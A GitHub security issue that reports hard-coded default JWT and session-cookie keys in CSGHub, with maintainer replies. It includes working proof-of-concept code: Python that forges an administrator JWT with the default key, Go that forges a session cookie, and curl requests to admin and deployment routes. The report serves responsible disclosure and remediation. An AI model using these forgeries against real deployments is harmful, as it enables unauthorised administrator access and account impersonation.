Skip to content

[Security] Hard-coded default keys allow forged JWTs and browser sessions #1535

Open

Description

@28Hus

Hard-coded default keys allow forged JWTs and browser sessions

Hello, OpenCSG maintainers. Could you please review this authentication issue?

Summary

At commit 4cd64cc, CSGHub uses public default values for authentication keys when their environment variables are unset: signing-key for JWTs and Gitaly callbacks, and secret for browser-session cookies.

The API accepts a JWT signed with the default key and trusts its current_user claim. The RProxy and AI Gateway also use the predictable cookie key to verify browser sessions.

Impact

An unauthenticated attacker who can reach a deployment using these defaults can impersonate a known account. A forged JWT naming an existing administrator passes the JWT authentication middleware; NeedAdmin then loads that account’s real role and grants access to administrator-only routes, including GET /api/v1/admin/repos. The JWT blacklist checks only the exact token string, so it does not reject a newly forged token.

A forged opencsg_jwt_session cookie is accepted as a logged-in browser session. On RProxy, the claimed username is used for private deployment access checks. In the AI Gateway, a session naming an existing administrator can pass the admin-role check. These cookie impacts apply when those components are deployed with the default session key.

The same signing-key is configured as Gitaly’s GitLab callback secret. The server validates that key on /api/v4/internal/* callback routes, so deployments exposing those routes also have a forgeable service-to-service authentication boundary.

Evidence

Image Image Image

Proof of concept

With STARHUB_JWT_SIGNING_KEY unset, sign a token naming an existing administrator and send it to an administrator-only route:

import time
import jwt

now = int(time.time())
token = jwt.encode(
    {
        "current_user": "<existing-admin-username>",
        "uuid": "<account-uuid>",
        "iat": now,
        "exp": now + 3600,
    },
    "signing-key",
    algorithm="HS256",
)
print(token)
curl -H "Authorization: Bearer <forged-token>" \
  https://<host>/api/v1/admin/repos

For the browser-session path, create a valid cookie using the same securecookie codec and default key as cookie.NewStore:

package main

import (
    "fmt"
    "github.com/gorilla/securecookie"
)

func main() {
    codecs := securecookie.CodecsFromPairs([]byte("secret"))
    values := map[interface{}]interface{}{
        "currentUser": "<existing-username>",
        "currentUserUUID": "<account-uuid>",
    }
    cookieValue, err := securecookie.EncodeMulti("opencsg_jwt_session", values, codecs...)
    if err != nil {
        panic(err)
    }
    fmt.Println(cookieValue)
}

Send the result to an RProxy deployment owned by that account, for example at /endpoint/<deployment-name>/:

curl -H "Cookie: opencsg_jwt_session=<forged-cookie>" \
  https://<rproxy-host>/endpoint/<deployment-name>/

Remediation

Require unique, cryptographically random values for STARHUB_JWT_SIGNING_KEY, STARHUB_SERVER_GITALY_JWT_SECRET, and STARHUB_SERVER_SPACE_SESSION_SECRET_KEY; fail startup when a shipped default remains. Rotate these keys independently and invalidate tokens and sessions signed with the old values.

Related Works

This report is part of my ongoing security research. If you have any questions, please feel free to reach out to me. I would be glad to contribute, even in a small way, to improving CSGHub’s security.

Activity

  1. ganisback commented on Oct 8, 2026

    @ganisback
    Collaborator

    will address next release

  2. Rader commented on Nov 25, 2026

    @Rader
    Collaborator

    sample config will be changed after deployment.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions